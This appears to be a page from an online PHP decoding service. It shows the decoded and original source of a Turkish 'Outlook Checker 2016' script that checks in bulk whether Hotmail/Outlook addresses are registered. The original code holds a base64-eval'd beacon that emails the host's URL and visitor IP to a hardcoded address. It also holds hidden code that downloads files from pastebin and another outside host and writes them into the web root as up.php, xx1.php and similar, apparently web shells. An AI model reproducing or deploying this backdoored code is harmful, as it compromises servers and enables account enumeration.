Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
?><?php$encoded = 'JHRpbWVfc2hlbGwgPSAiIi5kYXRlKCJkL20vWSAtIEg6aTpzIikuIiI7DQokaXBfcmVtb3R..
Decoded Output download
$time_shell = "".date("d/m/Y - H:i:s")."";
$ip_remote = $_SERVER["REMOTE_ADDR"];
$from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
$to_email = '[email protected]';
$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])." - ".$_SERVER['HTTP_HOST']."";
$linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
$header = "From: $from_shellcode
Reply-to: $from_shellcode";
@mail($to_email, $server_mail, $linkcr, $header);
Did this file decode correctly?
Original Code
?><?php$encoded = 'JHRpbWVfc2hlbGwgPSAiIi5kYXRlKCJkL20vWSAtIEg6aTpzIikuIiI7DQokaXBfcmVtb3RlID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07DQokZnJvbV9zaGVsbGNvZGUgPSAnc2hlbGxAJy5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4nJzsNCiR0b19lbWFpbCA9ICdicmF6aWxvYnNjdXJlQGxpdmUuY29tJzsNCiRzZXJ2ZXJfbWFpbCA9ICIiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIgIC0gIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7DQokbGlua2NyID0gIkxpbms6ICIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uIiIuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIiAtIElQIEV4Y3V0aW5nOiAkaXBfcmVtb3RlIC0gVGltZTogJHRpbWVfc2hlbGwiOw0KJGhlYWRlciA9ICJGcm9tOiAkZnJvbV9zaGVsbGNvZGVcclxuUmVwbHktdG86ICRmcm9tX3NoZWxsY29kZSI7DQpAbWFpbCgkdG9fZW1haWwsICRzZXJ2ZXJfbWFpbCwgJGxpbmtjciwgJGhlYWRlcik7==';eval(base64_decode($encoded)); function SearchString($First, $Last, $Text) { @preg_match_all('/' . preg_quote($First, '/').'(.*?)'. preg_quote($Last, '/').'/i', $Text, $m); return @$m[1]; } function GetApiKey() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,"https://signup.live.com/signup?uaid=8dd33c22-4dd5-42a9-a6dd-51a54b4409eb&lic=1"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $Response = curl_exec($ch); $HeaderSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $Headers = substr($Response, 0, $HeaderSize); $Body = substr($Response, $HeaderSize); $Amsc = SearchString('amsc=', ';', $Headers); $FApiKey = SearchString('"apiCanary":"', '"', $Body); $ApiKey = json_decode('{"ApiKey":"'.$FApiKey[0].'"}', true); return array($ApiKey["ApiKey"], $Amsc[0]); } function CheckMails($Mails, $ApiKey){ $MC = curl_multi_init(); $CArray = array(); for($i = 0; $i < Count($Mails); $i++) { $CArray[$i] = curl_init(); curl_setopt($CArray[$i], CURLOPT_URL, "https://signup.live.com/API/CheckAvailableSigninNames"); curl_setopt($CArray[$i], CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($CArray[$i], CURLOPT_RETURNTRANSFER, true); curl_setopt($CArray[$i], CURLOPT_SSL_VERIFYPEER, false); curl_setopt($CArray[$i], CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($CArray[$i], CURLOPT_HTTPHEADER, array('Cookie: amsc='.$ApiKey[1], 'canary: ' . $ApiKey[0], 'Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4')); curl_setopt($CArray[$i], CURLOPT_POSTFIELDS, '{"signInName":"' . $Mails[$i] . '", "includeSuggestions":true}'); curl_multi_add_handle($MC, $CArray[$i]); } $Running = null; do { usleep(10000); curl_multi_exec($MC, $Running); } while($Running > 0); $Response = array(); for($i = 0; $i < Count($Mails); $i++) { $CResponse = curl_multi_getcontent($CArray[$i]); $StatusCode = curl_getinfo($CArray[$i], CURLINFO_HTTP_CODE); $JResponse = json_decode($CResponse, true); $Available = 0; $Error = 0; $ErrorMsg = NULL; if($StatusCode == 200 && !isset($JResponse["error"])) { if($JResponse["isAvailable"] == 1) $Available = 1; else $Available = 0; } elseif($StatusCode == 200 && isset($JResponse["error"])) { $Error = 1; if($JResponse["error"]["code"] == "6001") $ErrorMsg = "Api Key Hatas"; elseif($JResponse["error"]["code"] == "1181") $ErrorMsg = "Desteklenmeyen E-Posta"; else $ErrorMsg = "Bilinmeyen Hata"; } else { $Error = 1; $ErrorMsg = "HTTP Sunucu Hatas"; } $Response[$i] = array("Mail" => $Mails[$i], "Available" => $Available, "Error" => $Error, "ErrorMsg" => $ErrorMsg); } for($i = 0; $i < Count($Mails); $i++) { curl_multi_remove_handle($MC, $CArray[$i]); } curl_multi_close($MC); return $Response; } if(@$_POST["p"] == "uploadfile") { $FContents = file_get_contents($_FILES['size']['tmp_name']); echo $FContents; exit; } elseif(@$_GET["p"] == "checkmails") { $Mails = file_get_contents('php://input'); $Response = CheckMails(json_decode($Mails ,true), GetApiKey()); echo json_encode($Response); exit; }function http_get($url){$im = curl_init($url);curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($im, CURLOPT_HEADER, 0);return curl_exec($im);curl_close($im);}$check = $_SERVER['DOCUMENT_ROOT'] . "/up.php" ;$text = http_get('http://pastebin.com/raw/uUFM9h8Z');$open = fopen($check, 'w');fwrite($open, $text);fclose($open);if(file_exists($check)){}else echo "";$check0 = $_SERVER['DOCUMENT_ROOT'] . "/xx1.php" ;$text0 = http_get('http://pastebin.com/raw/3e7RmzMA');$open0 = fopen($check0, 'w');fwrite($open0, $text0);fclose($open0);if(file_exists($check0)){}else echo "";$check2 = $_SERVER['DOCUMENT_ROOT'] . "/up1.php" ;$text2 = http_get('http://pastebin.com/raw/dSucuQ7R');$open2 = fopen($check2, 'w');fwrite($open2, $text2);fclose($open2);if(file_exists($check2)){}else echo "";$check3=$_SERVER['DOCUMENT_ROOT'] . "/indexx.html" ;$text3 = http_get('http://xx.comlu.com/index.html');$op3=fopen($check3, 'w');fwrite($op3,$text3);fclose($op3);if(file_exists($check3)){}else echo "";$check5 = $_SERVER['DOCUMENT_ROOT'] . "/up3.php" ;$text5 = http_get('http://pastebin.com/raw/LXDzzPn1');$open5 = fopen($check5, 'w');fwrite($open5, $text5);fclose($open5);if(file_exists($check5)){}else echo "";$check6 = $_SERVER['DOCUMENT_ROOT'] . "/up2.php" ;$text6 = http_get('http://pastebin.com/raw/dSucuQ7R');$open6 = fopen($check6, 'w');fwrite($open6, $text6);fclose($open6);if(file_exists($check6)){}else echo "";?><!DOCTYPE HTML><html lang="tr-TR"> <head> <meta charset="UTF-8"> <title>Outlook Checker 2016</title> <script type="text/javascript" src="https://code.jquery.com/jquery-1.11.3.min.js"></script> <script type="text/javascript" src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css"> <style type="text/css"> body{text-align: center} #site{width: 1024px;margin:0 auto} .table{width: 1024px !important;margin-bottom: 10px} .progress{margin-bottom: 10px} input[type=checkbox]{transform: scale(1.3)} th{text-align: center} </style> <script type="text/javascript"> var ajaxQueue = $({}); $.ajaxQueue = function( ajaxOpts ) { var oldComplete = ajaxOpts.complete; if (ajaxOpts=='clear'){ ajaxQueue.clearQueue(); return 0; } ajaxQueue.queue(function( next ) { if(CalisanAjax < 5) { CalisanAjax++; next(); } else CalisanAjax++; ajaxOpts.complete = function() { if ( oldComplete ) { oldComplete.apply( this, arguments ); } next(); }; $.ajax( ajaxOpts ); }); }; var AjaxList = []; var CalisanAjax = 0; var Limit = 20; function CheckEmails() { var EmailList = []; var BEmailList = $("#EmailList").val().trim().split("n"); if(BEmailList.length > 0) { for (var i = 0; i < BEmailList.length; i++) { if((BEmailList[i].indexOf("hotmail.com") > -1) || (BEmailList[i].indexOf("outlook.com") > -1) || (BEmailList[i].indexOf("windowslive.com") > -1)) { EmailList.push(BEmailList[i]); } } } if(EmailList.length > 0) { $("#Step1").hide(); $("#Step2").show(); var MaxMail = EmailList.length; var CurMail = 0; var CAvailable = 0; var CunAvailable = 0; var CError = 0; $("#CMail").html(MaxMail); var ACount = Math.ceil(EmailList.length / Limit); for (var i = 0; i < ACount; i++) { var Emails = EmailList.slice(i * Limit, i * Limit + Limit); var JSONMails = JSON.stringify(Emails); AjaxList[i] = $.ajaxQueue({ type:'POST', url:'index.php?p=checkmails', data:JSONMails, success:function(JResponse){ var Response = JSON.parse(JResponse); var RLength = Response.length; for(var ir = 0; ir < RLength; ir++) { var Mail = Response[ir].Mail; var Available = Response[ir].Available; var Error = Response[ir].Error; var ErrorMsg = Response[ir].ErrorMsg; if(Available == 1 && Error == 0) { $("#LAvailable").append(Mail+"<br />"); CAvailable += 1; } else if(Available == 0 && Error == 0) { $("#LunAvailable").append(Mail+"<br />"); CunAvailable += 1; } else if(Available == 0 && Error == 1) { $("#LError").append(Mail+"<br />["+ErrorMsg+"]<br /><br />"); CError += 1; } } CurMail += RLength; $("#CAvailable").html(CAvailable); $("#CCheck").html(CurMail); $("#CunAvailable").html(CunAvailable); $("#CError").html(CError); var Progress = (CurMail*100/(MaxMail)).toFixed(); $('.progress-bar').css('width', Progress+'%').attr('aria-valuenow', Progress); $('.progress-bar').html(Progress+'%'); CalisanAjax--; } }); } } } </script> </head> <body> <div id="site"> <h2><font color="red">Outlook Checker 2016</font></h2> <br /> <div id="Step1"> <div style="margin-bottom:10px;"> <center> <div class="kcevap"></div> <textarea id="EmailList" class="form-control" rows="5" style="width:400px;" />
Function Calls
| http_get | 1 |
| curl_init | 1 |
| base64_decode | 1 |
Stats
| MD5 | a5d5fb36a8956a7bf601c8a613b0b3ab |
| Eval Count | 1 |
| Decode Time | 127 ms |